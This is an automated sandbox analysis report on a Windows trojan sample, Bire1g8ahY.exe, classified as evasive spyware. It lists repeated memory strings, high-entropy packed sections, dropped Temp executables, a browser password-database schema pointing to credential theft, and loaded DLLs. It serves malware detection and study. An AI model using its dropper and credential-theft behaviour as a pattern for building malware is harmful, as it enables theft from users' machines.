Sample file is different than original file name gathered from version info
Source: Bire1g8ahY.exe, 00000000.00000003.1579908993.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575400550.00000000060BB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590575545.00000000061D5000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575889132.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574284421.000000000600A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588462617.0000000006081000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580296238.0000000006145000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1603085065.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1603085065.0000000005AA6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574989559.000000000600F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588901948.0000000006084000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586416443.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1585935941.000000000606A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1592426081.0000000005F60000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590086219.0000000005F60000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588225098.0000000005F56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1571857551.0000000005F63000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1594175650.000000000609F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1588680194.0000000005F56000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586727125.0000000006076000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577556264.000000000602A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1593795345.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578138678.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1605033550.0000000006209000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1593495631.0000000006097000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574708821.0000000006011000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574460366.0000000005F57000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577308372.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575286979.0000000006009000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1602926737.0000000005B49000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1589803555.0000000006088000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575128548.0000000005F57000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1583859970.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1591491558.0000000005F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1583220110.000000000605B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576711693.0000000006025000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573041655.0000000005F65000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1589362845.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580728259.0000000006050000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1584726424.0000000005F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590314080.0000000006094000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1579073782.0000000005F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1579443288.0000000006044000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1585399701.000000000606E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1594578102.00000000061F1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580544170.0000000005F5B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1593234929.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1591151488.000000000609C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578571776.0000000006042000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575642164.0000000006020000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576832665.00000000060EE000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1595180045.00000000060AA000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573949512.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572238615.0000000005DB2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1589133282.00000000061B1000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1587440223.0000000005F61000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1587766523.0000000006080000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1570264159.0000000005BA6000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1587201981.0000000006081000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575527468.0000000005F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1570360479.0000000005DAB000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572109109.0000000005F62000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581095768.000000000604F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572362087.0000000005F61000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572785338.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578867943.0000000006123000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586992981.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578293217.000000000603B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1582979890.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581559824.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1595388902.0000000005F62000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1592806870.00000000060A2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1585660002.0000000005F5E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1578429054.0000000005F60000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576244348.0000000005F59000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581775068.000000000605F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1575752536.00000000060E3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574076833.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577078014.0000000006031000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1571976054.0000000005DB4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1582133537.0000000005F64000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572891817.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573763559.0000000005F62000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1570559626.0000000005F62000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580885900.0000000005F5D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1574846561.0000000005F58000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1595582504.00000000060B3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1579678405.0000000006132000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576587716.0000000005F57000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1590884505.0000000005F61000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1577894708.0000000006103000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1573402535.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1586253620.0000000006183000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1572564758.0000000005DB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1571729347.0000000005DB2000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1580114389.000000000604F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576122992.000000000601F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1582602879.000000000605D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1594897497.0000000005F5C000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1583480723.000000000615D000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1592097288.0000000006096000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576959025.0000000005F5F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1576411987.0000000006024000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1581355388.000000000614F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1584246363.0000000006070000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamedefOff.exe. vs Bire1g8ahY.exe
Uses 32bit PE files
Source: Bire1g8ahY.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Bire1g8ahY.exe Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: Bire1g8ahY.exe Static PE information: Section: sjczaofe ZLIB complexity 0.9944120198663338
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@5/3@11/4
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\4830TYWIJQ5SCGDL2FZPZJN92URB.exe.log Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Mutant created: NULL
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File created: C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Bire1g8ahY.exe, 00000000.00000003.1387768989.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1388103818.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1411955933.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1412043191.0000000005AE3000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: Bire1g8ahY.exe ReversingLabs: Detection: 55%
Source: C:\Users\user\Desktop\Bire1g8ahY.exe File read: C:\Users\user\Desktop\Bire1g8ahY.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\Bire1g8ahY.exe "C:\Users\user\Desktop\Bire1g8ahY.exe"
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process created: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe"
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process created: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe "C:\Users\user~1\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe"
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process created: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe "C:\Users\user~1\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe" Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Process created: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe "C:\Users\user~1\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe" Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
